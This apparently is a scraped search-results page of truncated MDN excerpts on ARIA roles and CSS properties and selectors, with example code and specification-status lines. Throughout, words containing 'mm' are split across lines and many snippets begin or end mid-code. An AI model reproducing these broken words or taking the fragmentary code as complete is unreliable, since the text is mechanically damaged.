mmendation precedence order applying the application role will cause this and all of the descendant elements of this element to be treated like application content, not web content.
ARIA: article role - Accessibility
it is usually set on related content items such as co
mments, forum posts, newspaper articles or other items grouped together on one page.
...examples of appropriate uses of the role="article", or preferably <article>, include blog posts, forum posts, a co
mment to a forum or blog post, a co
mment to a co
mment to a forum or blog post, any an item in a social media feed.
... examples the restaurant reco
mmendations feed display along with its separate documentation from the wai-aria 1.1 authoring practices feed design pattern specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'article' in that specification.
... reco
mmendation wai-aria authoring practicesthe definition of 'feed' in that specification.
ARIA: Navigation Role - Accessibility
by classifying and labeling sections of a page, structural information conveyed visually through layout is represented progra
mmatically.
... using the <nav> element will automatically co
mmunicate a section has a role of navigation.
... best practices prefer html using the <nav> element will automatically co
mmunicate a section has a role of navigation.
... reco
mmendation wai-aria authoring practicesthe definition of 'navigation landmark role' in that specification.
ARIA: tab role - Accessibility
the co
mmon user experience pattern is a group of visual tabs above, or to the side of, a content area, and selecting a different tab changes the content and makes the selected tab more prominent than the other tabs.
...alse)); // set this tab as selected target.setattribute("aria-selected", true); // hide all tab panels grandparent .queryselectorall('[role="tabpanel"]') .foreach(p => p.setattribute("hidden", true)); // show the selected panel grandparent.parentnode .queryselector(`#${target.getattribute("aria-controls")}`) .removeattribute("hidden"); } best practices it is reco
mmended to use a button element with the role tab for their built-in functional and accessible features instead, as opposed to needing to add them yourself.
... for controlling tab key functionality for elements with the role tab, it is reco
mmended to set all non-active elements to tabindex=-1, and to set the active element to tabindex=0.
... reco
mmendation wai-aria authoring practicesthe definition of 'tabs' in that specification.
WAI-ARIA Roles - Accessibility
it is usually set on related content items such as co
mments, forum posts, newspaper articles or other items grouped together on one page.aria: banner rolea banner role represents general and informative content frequently placed at the beginning of the page.
...elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.aria: co
mment rolethe co
mment landmark role semantically denotes a co
mment/reaction to some content on the page, or to a previous co
mment.aria: complementary rolethe complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone when separated.
...this section is co
mmonly called a footer.aria: dialog rolethe dialog role is used to mark up an html based application dialog or window that separates content or ui from the rest of the web application or page.
... alertdialog banner combobox co
mmand columnheader (estelle) complementary composite definition directory feed gridcell (eric e) group input landmark link - old page listbox log - old page marquee math menu menubar menuitem menuitemcheckbox menuitemradio none note option presentation progressbar - old page radio - old page radiogroup range region roletype rowheader(estelle) scrollbar searchbox se...
Keyboard-navigable JavaScript widgets - Accessibility
once keyboard focus lands on the containing <ul> element, the javascript developer must progra
mmatically manage focus and respond to arrow keys.
...there are two techniques for accomplishing this: roving tabindex: progra
mmatically moving focus aria-activedescendant: managing a 'virtual' focus technique 1: roving tabindex setting the tabindex of the focused element to "0" ensures that if the user tabs away from the widget and then returns, the selected item within the group retains focus.
...this technique involves progra
mmatically moving focus in response to key events and updating the tabindex to reflect the currently focused item.
... to do this: bind a key down handler to each element in the group, and when an arrow key is used to move to another element: progra
mmatically apply focus to the new element, update the tabindex of the focused element to "0", and update the tabindex of the previously focused element to "-1".
Perceivable - Accessibility
success criteria how to conform to the criteria practical resource 1.3.1 info and relationships (a) any content structure—or visual relationship made between content—can also be determined progra
mmatically, or be inferred from text description.
...content images should have text available that clearly describes the image's contents, which can be progra
mmatically associated with it (e.g., alt text), or otherwise is easy to associate (e.g., describes it and is sat right next to it).
... understanding orientation 1.3.5 identify input purpose (aa) added in 2.1 follow the list of 53 input fields to progra
mmatically identify the purpose of a field.
... understanding identify input purpose 1.3.6 identify purpose (aaa) added in 2.1 in content implemented using markup languages, the purpose of user interface components, icons, and regions can be progra
mmatically determined.
::after (:after) - CSS: Cascading Style Sheets
this shows how flexible ::before and ::after can be, though for the most accessible experience a semantic disclosure widget created in some other way (such as with details and su
mmary elements) is likely to be more appropriate.
... #00f; cursor: help; } span[data-descr]:hover::after, span[data-descr]:focus::after { content: attr(data-descr); position: absolute; left: 0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px; background-color: #ffffcc; padding: 12px; color: #000000; font-size: 14px; z-index: 1; } result specifications specification status co
mment css pseudo-elements level 4the definition of '::after' in that specification.
... reco
mmendation introduces the two-colon syntax.
... reco
mmendation initial definition, using the one-colon syntax.
:lang() - CSS: Cascading Style Sheets
side.</q></div> <div lang="fr"><q>this french quote has a <q>nested</q> quote inside.</q></div> <div lang="de"><q>this german quote has a <q>nested</q> quote inside.</q></div> css :lang(en) > q { quotes: '\201c' '\201d' '\2018' '\2019'; } :lang(fr) > q { quotes: '« ' ' »'; } :lang(de) > q { quotes: '»' '«' '\2039' '\203a'; } result specifications specification status co
mment selectors level 4the definition of ':lang()' in that specification.
... working draft adds wildcard language matching and co
mma-separated list of languages.
... reco
mmendation no significant change.
... reco
mmendation initial definition.
:link - CSS: Cascading Style Sheets
html <a href="#ordinary-target">this is an ordinary link.</a><br> <a href="">you've already visited this link.</a><br> <a>placeholder link (won't get styled)</a> css a:link { background-color: gold; color: green; } result specifications specification status co
mment html living standardthe definition of ':link' in that specification.
... reco
mmendation no change.
... reco
mmendation lift the restriction to only apply it for <a> element.
... reco
mmendation initial definition.
:visited - CSS: Cascading Style Sheets
yet?</a><br> <a href="">you've already visited this link.</a> css a { /* specify non-transparent defaults to certain properties, allowing them to be styled with the :visited state */ background-color: white; border: 1px solid white; } a:visited { background-color: yellow; border-color: hotpink; color: hotpink; } result specifications specification status co
mment html living standardthe definition of ':visited' in that specification.
... reco
mmendation no change.
... reco
mmendation lifts the restriction to only apply :visited to the <a> element.
... reco
mmendation initial definition.
range - CSS: Cascading Style Sheets
[ [ | infinite ]{2} ]# defines a co
mma-separated list of ranges.
... description the value of the range descriptor can be either auto or a co
mma separated list of lower and upper bounds specified as integers.
...ten specifications specification status co
mment css counter styles level 3the definition of 'range' in that specification.
... candidate reco
mmendation initial definition ...
src - CSS: Cascading Style Sheets
the format hint contains a co
mma-separated list of format strings that denote well-known font formats.
... description the value of this descriptor is a prioritized, co
mma-separated list of external references or locally-installed font face names.
...| local( <family-name> ) ]#where <family-name> = <string> | <custom-ident>+ examples specifying font resources using url() and local() @font-face { font-family: examplefont; src: local(example font), url('examplefont.woff') format("woff"), url('examplefont.otf') format("opentype"); } specifications specification status co
mment css fonts module level 3the definition of 'src' in that specification.
... candidate reco
mmendation initial definition ...
Adjacent sibling combinator - CSS: Cascading Style Sheets
the adjacent sibling combinator (+) separates two selectors and matches the second element only if it i
mmediately follows the first element, and both are children of the same parent element.
... /* paragraphs that come i
mmediately after any image */ img + p { font-weight: bold; } syntax former_element + target_element { style properties } examples css li:first-of-type + li { color: red; } html <ul> <li>one</li> <li>two!</li> <li>three</li> </ul> result specifications specification status co
mment selectors level 4the definition of 'next-sibling combinator' in that specification.
... reco
mmendation css level 2 (revision 1)the definition of 'adjacent sibling selectors' in that specification.
... reco
mmendation initial definition.
Alternative style sheets - CSS: Cascading Style Sheets
an example: specifying the alternative stylesheets the alternate stylesheets are co
mmonly specified using a <link> element with rel="alternate stylesheet" and title="..." attributes.
...when the user selects a different style, the page will i
mmediately be re-rendered using that style sheet.
... specifications specification status co
mment html living standardthe definition of 'link type "alternate"' in that specification.
... reco
mmendation earlier, the html specification itself defined the concept of preferred and alternate stylesheets.
Attribute selectors - CSS: Cascading Style Sheets
[attr|=value] represents elements with an attribute name of attr whose value can be exactly value or can begin with value i
mmediately followed by a hyphen, - (u+002d).
...*/ ol[type="a"] { list-style-type: lower-alpha; background: red; } ol[type="a" s] { list-style-type: lower-alpha; background: lime; } ol[type="a" s] { list-style-type: upper-alpha; background: lime; } html <ol type="a"> <li>example list</li> </ol> result specifications specification status co
mment selectors level 4the definition of 'attribute selectors' in that specification.
... reco
mmendation css level 2 (revision 1)the definition of 'attribute selectors' in that specification.
... reco
mmendation initial definition ...
CSS Display - CSS: Cascading Style Sheets
ty of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing co
mmon layouts using grids specifications specification status co
mment css display module level 3the definition of 'display' in that specification.
... candidate reco
mmendation added run-in, flow, flow-root, contents and multi-keyword values.
... reco
mmendation added the table model values and inline-block.
... reco
mmendation initial definition.
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
the history of flexbox as with all css specifications the flexbox specification went through a large number of changes before it became the candidate reco
mmendation that we have today.
... as a candidate reco
mmendation we should not see large changes at this point to the spec, however this has not been the case with past flexbox iterations.
... co
mmon issues the majority of issues with flexbox relate to the changes in the specification, as it has been developed, and the fact that many of us were attempting to use an experimental specification in production.
... .wrapper { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } autoprefixer online is a useful way to see which prefixes are reco
mmended, depending on how many versions you wish to go back with browser support.
Child combinator - CSS: Cascading Style Sheets
/* list items that are children of the "my-things" list */ ul.my-things > li { margin: 2em; } elements matched by the second selector must be the i
mmediate children of the elements matched by the first selector.
... <span>span #2, in the span that's in the div.</span> </span> </div> <span>span #3, not in the div at all.</span> result specifications specification status co
mment selectors level 4the definition of 'child combinator' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
Class selectors - CSS: Cascading Style Sheets
round: #ffa; } .fancy { font-weight: bold; text-shadow: 4px 4px 3px #77f; } html <p class="red">this paragraph has red text.</p> <p class="red yellow-bg">this paragraph has red text and a yellow background.</p> <p class="red fancy">this paragraph has red text and "fancy" styling.</p> <p>this is just a regular paragraph.</p> result specifications specification status co
mment selectors level 4the definition of 'class selectors' in that specification.
... reco
mmendation css level 2 (revision 1)the definition of 'child selectors' in that specification.
... reco
mmendation css level 1the definition of 'child selectors' in that specification.
... reco
mmendation initial definition ...
ID selectors - CSS: Cascading Style Sheets
{ style properties } note that syntactically (but not specificity-wise), this is equivalent to the following attribute selector: [id=id_value] { style properties } examples css #identified { background-color: skyblue; } html <div id="identified">this div has a special id on it!</div> <div>this is just a regular div.</div> result specifications specification status co
mment selectors level 4the definition of 'id selectors' in that specification.
... reco
mmendation css level 2 (revision 1)the definition of 'id selectors' in that specification.
... reco
mmendation css level 1the definition of 'id selectors' in that specification.
... reco
mmendation initial definition ...
Specificity - CSS: Cascading Style Sheets
specifications specification status co
mment selectors level 4the definition of 'calculating a selector's specificity' in that specification.
... reco
mmendation add pseudo-elements.
... reco
mmendation add pseudo-classes.
... reco
mmendation initial definition.
Type selectors - CSS: Cascading Style Sheets
*/ a { color: red; } syntax element { style properties } examples css span { background-color: skyblue; } html <span>here's a span with some text.</span> <p>here's a p with some text.</p> <span>here's a span with more text.</span> result specifications specification status co
mment selectors level 4the definition of 'type (tag name) selector' in that specification.
... reco
mmendation no changes css level 2 (revision 1)the definition of 'type selectors' in that specification.
... reco
mmendation css level 1the definition of 'type selectors' in that specification.
... reco
mmendation initial definition ...
background-repeat - CSS: Cascading Style Sheets
specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-repeat' in that specification.
... candidate reco
mmendation adds support for multiple background images, the two-value syntax allowing distinct repetition behavior for the horizontal and vertical directions, the space and round keywords, and for backgrounds on inline-level elements by precisely defining the background painting area.
... reco
mmendation no significant changes.
... reco
mmendation initial definition.
background-size - CSS: Cascading Style Sheets
to specify the size of multiple background images, separate the value for each one with a co
mma.
... .gradient-example { width: 50px; height: 100px; background-image: linear-gradient(blue, red); /* not safe to use */ background-size: 25px; background-size: 50%; background-size: auto 50px; background-size: auto 50%; /* safe to use */ background-size: 25px 50px; background-size: 50% 50%; } note that it's particularly not reco
mmended to use a pixel dimension and an auto dimension with a <gradient>, because it's impossible to replicate rendering in versions of firefox prior to 8, and in browsers not implementing firefox 8's rendering, without knowing the exact size of the element whose background is being specified.
... specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-size' in that specification.
... candidate reco
mmendation initial definition.
border-bottom-width - CSS: Cascading Style Sheets
ngth formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing bottom border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-bottom-width: thick; } div:nth-child(2) { border-bottom-width: 2em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom-width' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation no significant change.
... reco
mmendation initial definition.
border-bottom - CSS: Cascading Style Sheets
</div> css div { border-bottom: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom' in that specification.
... candidate reco
mmendation no direct changes, though the modification of values for the border-bottom-color do apply to it.
... reco
mmendation no significant changes.
... reco
mmendation initial definition ...
border-color - CSS: Cascading Style Sheets
#justone { border-color: red; } #horzvert { border-color: gold red; } #topvertbott { border-color: red cyan gold; } #trbl { border-color: red cyan black gold; } /* set width and style for all divs */ div { border: solid 0.3em; width: auto; margin: 0.5em; padding: 0.5em; } ul { margin: 0; list-style: none; } result specifications specification status co
mment css logical properties and values level 1 editor's draft added the logical keyword.
... candidate reco
mmendation the transparent keyword has been removed as it is now a part of the <color> data type.
... reco
mmendation the property is now a shorthand property.
... reco
mmendation initial definition.
border-left-width - CSS: Cascading Style Sheets
on typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-left-width: thick; } div:nth-child(2) { border-left-width: 2em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-left-width' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation no significant change.
... reco
mmendation initial definition.
border-left - CSS: Cascading Style Sheets
</div> css div { border-left: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-left' in that specification.
... candidate reco
mmendation no direct changes, though the modification of values for the border-left-color do apply to it.
... reco
mmendation no significant changes.
... reco
mmendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
border-right-width - CSS: Cascading Style Sheets
typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-right-width: thick; } div:nth-child(2) { border-right-width: 2em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-right-width' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation no significant change.
... reco
mmendation initial definition.
border-right - CSS: Cascading Style Sheets
</div> css div { border-right: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-right' in that specification.
... candidate reco
mmendation no direct changes, though the modification of values for the border-right-color do apply to it.
... reco
mmendation no significant changes.
... reco
mmendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
border-style - CSS: Cascading Style Sheets
96; } tr, td { padding: 2px; } /* border-style example classes */ .b1 {border-style:none;} .b2 {border-style:hidden;} .b3 {border-style:dotted;} .b4 {border-style:dashed;} .b5 {border-style:solid;} .b6 {border-style:double;} .b7 {border-style:groove;} .b8 {border-style:ridge;} .b9 {border-style:inset;} .b10 {border-style:outset;} result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-style' in that specification.
... candidate reco
mmendation no change.
... reco
mmendation adds hidden keyword value.
... reco
mmendation initial definition.
border-top-width - CSS: Cascading Style Sheets
le is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-top-width: thick; } div:nth-child(2) { border-top-width: 2em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-top-width' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation no significant change.
... reco
mmendation initial definition.
border-top - CSS: Cascading Style Sheets
</div> css div { border-top: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-top' in that specification.
... candidate reco
mmendation no direct changes, though the modification of values for the border-top-color do apply to it.
... reco
mmendation no significant changes.
... reco
mmendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
border-width - CSS: Cascading Style Sheets
1em left</p> css #sval { border: ridge #ccc; border-width: 6px; } #bival { border: solid red; border-width: 2px 10px; } #treval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: solid lightgreen; border-width: thin medium thick 1em; } p { width: auto; margin: 0.25em; padding: 0.25em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-width' in that specification.
... candidate reco
mmendation no direct change; the <length> css data type extension has an effect on this property.
... reco
mmendation added the constraint that values' meaning must be constant inside a document.
... reco
mmendation initial definition.
border - CSS: Cascading Style Sheets
amazing, isn't it?</div> css div { border: 0.5rem outset pink; outline: 0.5rem solid khaki; box-shadow: 0 0 0 2rem skyblue; border-radius: 12px; font: bold 1rem sans-serif; margin: 2rem; padding: 1rem; outline-offset: 0.5rem; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border' in that specification.
... candidate reco
mmendation removes specific support for transparent, as it is now a valid <color>; this has no practical impact.
... reco
mmendation accepts the inherit keyword.
... reco
mmendation initial definition.
break-after - CSS: Cascading Style Sheets
the type of this break is that of the i
mmediately-containing fragmentation context.
...quisque co
mmodo eget nisi sed pretium.
...cibus dui sed ultricies.</p> </article> css html { font-family: helvetica, arial, sans-serif; } h1 { font-size: 3rem; letter-spacing: 2px; column-span: all; } h2 { font-size: 1.2rem; color: red; letter-spacing: 1px; } p { line-height: 1.5; break-after: column; } article { column-width: 200px; gap: 20px; } result specifications specification status co
mment css fragmentation module level 3the definition of 'break-after' in that specification.
... candidate reco
mmendation adds the recto and verso keywords.
break-before - CSS: Cascading Style Sheets
the type of this break is that of the i
mmediately-containing fragmentation context.
...quisque co
mmodo eget nisi sed pretium.
...ibus dui sed ultricies.</p> </article> css html { font-family: helvetica, arial, sans-serif; } h1 { font-size: 3rem; letter-spacing: 2px; column-span: all; } h2 { font-size: 1.2rem; color: red; letter-spacing: 1px; break-before: column; } p { line-height: 1.5; } article { column-width: 200px; gap: 20px; } result specifications specification status co
mment css fragmentation module level 3the definition of 'break-before' in that specification.
... candidate reco
mmendation adds the recto and verso keywords.
column-width - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valuethe absolute length, zero or largeranimation typea length formal syntax <length> | auto examples setting column width in pixels html <p class="content-box"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea co
mmodo consequat.
... </p> css .content-box { column-width: 100px; } result specifications specification status co
mment css writing modes level 4the definition of 'column-width' in that specification.
... candidate reco
mmendation adds intrinsic sizes via the keywords min-content, max-content, fill-available, and fit-content.
cross-fade() - CSS: Cascading Style Sheets
te, 75% black */ cross-fade( url(white.png) 50%, url(black.png) 50%); /* 50% white, 50% black */ cross-fade( url(white.png) 75%, url(black.png) 25%); /* 75% white, 25% black */ cross-fade( url(white.png) 100%, url(black.png) 0%); /* fully white */ cross-fade( url(green.png) 75%, url(red.png) 75%); /* both green and red at 75% */ if any percentages are omitted, all the specified percentages are su
mmed together and subtracted from 100%.
...fade(url(white.png), url(black.png), 0%); /* fully black */ cross-fade(url(white.png), url(black.png), 25%); /* 25% white, 75% black */ cross-fade(url(white.png), url(black.png), 50%); /* 50% white, 50% black */ cross-fade(url(white.png), url(black.png), 75%); /* 75% white, 25% black */ cross-fade(url(white.png), url(black.png), 100%); /* fully white */ in the implemented syntax, the two co
mma-separated images are declared first, followed by a co
mma and required percent value.
... omitting the co
mma or percent invalidates the value.
...webkit-cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); background-image: cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); } result specifications specification status co
mment css images module level 4the definition of 'cross-fade()' in that specification.
font-size - CSS: Cascading Style Sheets
> = <length> | <percentage> examples setting font sizes css .small { font-size: xx-small; } .larger { font-size: larger; } .point { font-size: 24pt; } .percent { font-size: 200%; } html <h1 class="small">small h1</h1> <h1 class="larger">larger h1</h1> <h1 class="point">24 point h1</h1> <h1 class="percent">200% h1</h1> result specifications specification status co
mment css fonts module level 4the definition of 'font-size' in that specification.
... candidate reco
mmendation no change.
... reco
mmendation no change.
... reco
mmendation initial definition.
font-style - CSS: Cascading Style Sheets
examples font styles <p class="normal">this paragraph is normal.</p> <p class="italic">this paragraph is italic.</p> <p class="oblique">this paragraph is oblique.</p> .normal { font-style: normal; } .italic { font-style: italic; } .oblique { font-style: oblique; } specifications specification status co
mment css fonts module level 4the definition of 'font-style' in that specification.
... candidate reco
mmendation no change css level 2 (revision 1)the definition of 'font-style' in that specification.
... reco
mmendation no change css level 1the definition of 'font-style' in that specification.
... reco
mmendation initial definition ...
ime-mode - CSS: Cascading Style Sheets
users may correct the inappropriate behavior of sites that don't follow this reco
mmendation by placing the following css into their user stylesheet: input[type=password] { ime-mode: auto !important; } the mac version of gecko 1.9 (firefox 3) can't recover the previous state of the ime when a field for which it is disabled loses focus, so mac users may get grumpy when you use the disabled value.
...in the past, this was co
mmonly used on fields that entered data into databases which didn't support extended character sets.
... specifications specification status co
mment css basic user interface module level 3the definition of 'ime-mode' in that specification.
... reco
mmendation initial definition.
inherit - CSS: Cascading Style Sheets
specifications specification status co
mment css cascading and inheritance level 4the definition of 'inherit' in that specification.
... candidate reco
mmendation no changes from level 3.
... candidate reco
mmendation no significant change from css level 2 (revision 1).
... reco
mmendation initial definition.
<integer> - CSS: Cascading Style Sheets
specifications specification status co
mment css values and units module level 4the definition of '<integer>' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation explicit definition.
... reco
mmendation implicit definition.
letter-spacing - CSS: Cascading Style Sheets
m-wide">letter spacing</p> <p class="em-wider">letter spacing</p> <p class="em-tight">letter spacing</p> <p class="px-wide">letter spacing</p> css .normal { letter-spacing: normal; } .em-wide { letter-spacing: 0.4em; } .em-wider { letter-spacing: 1em; } .em-tight { letter-spacing: -0.05em; } .px-wide { letter-spacing: 6px; } result specifications specification status co
mment css text module level 3the definition of 'letter-spacing' in that specification.
... reco
mmendation no change.
... reco
mmendation initial svg definition.
... reco
mmendation initial definition.
line-height - CSS: Cascading Style Sheets
it's co
mmonly used to set the distance between lines of text.
...ght results from the red div's font-size (15px × 1.1) = 16.5px, probably not what you want --> css .green { line-height: 1.1; border: solid limegreen; } .red { line-height: 1.1em; border: solid red; } h1 { font-size: 30px; } .box { width: 18em; display: inline-block; vertical-align: top; font-size: 15px; } result specifications specification status co
mment css level 2 (revision 1)the definition of 'line-height' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
mask-repeat - CSS: Cascading Style Sheets
syntax one or more <repeat-style> values, separated by co
mmas.
...nd</option> <option value="no-repeat">no-repeat</option> </select> javascript content var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskrepeat = evt.target.value; }); result multiple mask image support you can specify a different <repeat-style> for each mask image, separated by co
mmas: .examplethree { mask-image: url('mask1.png'), url('mask2.png'); mask-repeat: repeat-x, repeat-y; } each image is matched with the corresponding repeat style, from first specified to last.
... specifications specification status co
mment css masking module level 1the definition of 'mask-repeat' in that specification.
... candidate reco
mmendation initial definition ...
mask - CSS: Cascading Style Sheets
it is therefore reco
mmended to use the mask shorthand rather than other shorthands or the individual properties to override any mask settings earlier in the cascade.
...ngle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples masking an image .target { mask: url(#c1) luminance; } .anothertarget { mask: url(resources.svg#c1) 50px 30px/10px 10px repeat-x exclude; } specifications specification status co
mment css masking module level 1the definition of 'mask' in that specification.
... candidate reco
mmendation extends its usage to html elements.
... reco
mmendation initial definition.
<number> - CSS: Cascading Style Sheets
specifications specification status co
mment css values and units module level 4the definition of '<number>' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation explicit definition.
... reco
mmendation implicit definition.
outline-color - CSS: Cascading Style Sheets
accessibility concerns custom focus styles co
mmonly involve making adjustments to the outline property.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples setting a solid blue outline html <p>my outline is blue, as you can see.</p> css p { outline: 2px solid; /* set the outline width and style */ outline-color: #0000ff; /* make the outline blue */ margin: 5px; } result specifications specification status co
mment css basic user interface module level 3the definition of 'outline-color' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
overflow - CSS: Cascading Style Sheets
the content can be scrolled progra
mmatically (for example, by setting the value of a property such as offsetleft), so the element is still a scroll container.
...the difference between clip and hidden is that the clip keyword also forbids all scrolling, including progra
mmatic scrolling.
... specifications specification status co
mment css overflow module level 3the definition of 'overflow' in that specification.
... reco
mmendation initial definition.
<percentage> - CSS: Cascading Style Sheets
gin-left:60%; background-color:pink;"> width: 30%, left margin: 60% </div> </div> the above html will output: font-size <div style="font-size:18px;"> <p>full-size text (18px)</p> <p><span style="font-size:50%;">50% (9px)</span></p> <p><span style="font-size:200%;">200% (36px)</span></p> </div> the above html will output: specifications specification status co
mment css values and units module level 4the definition of '<percentage>' in that specification.
... candidate reco
mmendation no significant change from css level 2 (revision 1).
... reco
mmendation no change from css level 1.
... reco
mmendation initial definition.
position - CSS: Cascading Style Sheets
a co
mmon use for sticky positioning is for the headings in an alphabetized list.
... html <dl> <div> <dt>a</dt> <dd>andrew w.k.</dd> <dd>apparat</dd> <dd>arcade fire</dd> <dd>at the drive-in</dd> <dd>aziz ansari</dd> </div> <div> <dt>c</dt> <dd>chromeo</dd> <dd>co
mmon</dd> <dd>converge</dd> <dd>crystal castles</dd> <dd>cursive</dd> </div> <div> <dt>e</dt> <dd>explosions in the sky</dd> </div> <div> <dt>t</dt> <dd>ted leo & the pharmacists</dd> <dd>t-pain</dd> <dd>thrice</dd> <dd>tv on the radio</dd> <dd>two gallants</dd> </div> </dl> css * { box-sizing: border-box; } dl > div { background: #ff...
...; color: #fff; font: bold 18px/21px helvetica, arial, sans-serif; margin: 0; padding: 2px 0 0 12px; position: -webkit-sticky; position: sticky; top: -1px; } dd { font: bold 20px/45px helvetica, arial, sans-serif; margin: 0; padding: 0 0 0 12px; white-space: nowrap; } dd + dd { border-top: 1px solid #ccc; } result specifications specification status co
mment css level 2 (revision 1)the definition of 'position' in that specification.
... reco
mmendation css positioned layout module level 3the definition of 'position' in that specification.
<shape> - CSS: Cascading Style Sheets
example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status co
mment css level 2 (revision 1)the definition of '<shape>' in that specification.
... reco
mmendation defines with the clip property.
...t 1edge full support 12firefox full support 1ie full support 5.5notes full support 5.5notes notes for internet explorer versions 5.5 through 7, the rect() function uses spaces (instead of co
mmas) to separate parameters.
... for internet explorer 8 and later versions, only the standard co
mma-separated syntax is supported.opera full support 9.5safari full support 1.3webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full supportdeprecated.
<string> - CSS: Cascading Style Sheets
escaped single quote.' 'this string also has \27 an escaped single quote.' "this is a string with \\ an escaped backslash." /* new line in a string */ "this string has a \aline break in it." /* string spanning two lines of code (these two strings will have identical output) */ "a really long \ awesome string" "a really long awesome string" specifications specification status co
mment css values and units module level 3the definition of '<string>' in that specification.
... candidate reco
mmendation no significant change from css level 2 (revision 1).
... reco
mmendation explicit definition; allows 6-digit unicode escaped characters.
... reco
mmendation implicit definition; allows 4-digit unicode escaped characters.
text-decoration - CSS: Cascading Style Sheets
ion on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specification status co
mment css text decoration module level 4 working draft adds text-decoration-thickness; note that this isn't yet officially part of the shorthand — this is as yet unspecified.
... candidate reco
mmendation transformed into a shorthand property.
... reco
mmendation no significant changes.
... reco
mmendation initial definition.
text-shadow - CSS: Cascading Style Sheets
it accepts a co
mma-separated list of shadows to be applied to the text and any of its decorations.
... | offset-y | blur-radius */ text-shadow: #fc0 1px 0 10px; /* offset-x | offset-y | color */ text-shadow: 5px 5px #558abb; /* color | offset-x | offset-y */ text-shadow: white 2px 5px; /* offset-x | offset-y /* use defaults for color and blur-radius */ text-shadow: 5px 10px; /* global values */ text-shadow: inherit; text-shadow: initial; text-shadow: unset; this property is specified as a co
mma-separated list of shadows.
...e-text-with-blue-shadow { text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue; color: white; font: 1.5em georgia, serif; } <p class="white-text-with-blue-shadow">sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore.</p> specifications specification status co
mment css text decoration module level 3the definition of 'text-shadow' in that specification.
... candidate reco
mmendation the css property text-shadow was improperly defined in css2 and dropped in css2 (level 1).
<time> - CSS: Cascading Style Sheets
examples valid times 12s positive integer -456ms negative integer 4.3ms non-integer 14ms the unit is case-insensitive, although capital letters are not reco
mmended.
... specifications specification status co
mment css values and units module level 4the definition of '<time>' in that specification.
... candidate reco
mmendation normative definition of s and ms.
... reco
mmendation informal definition of s and ms.
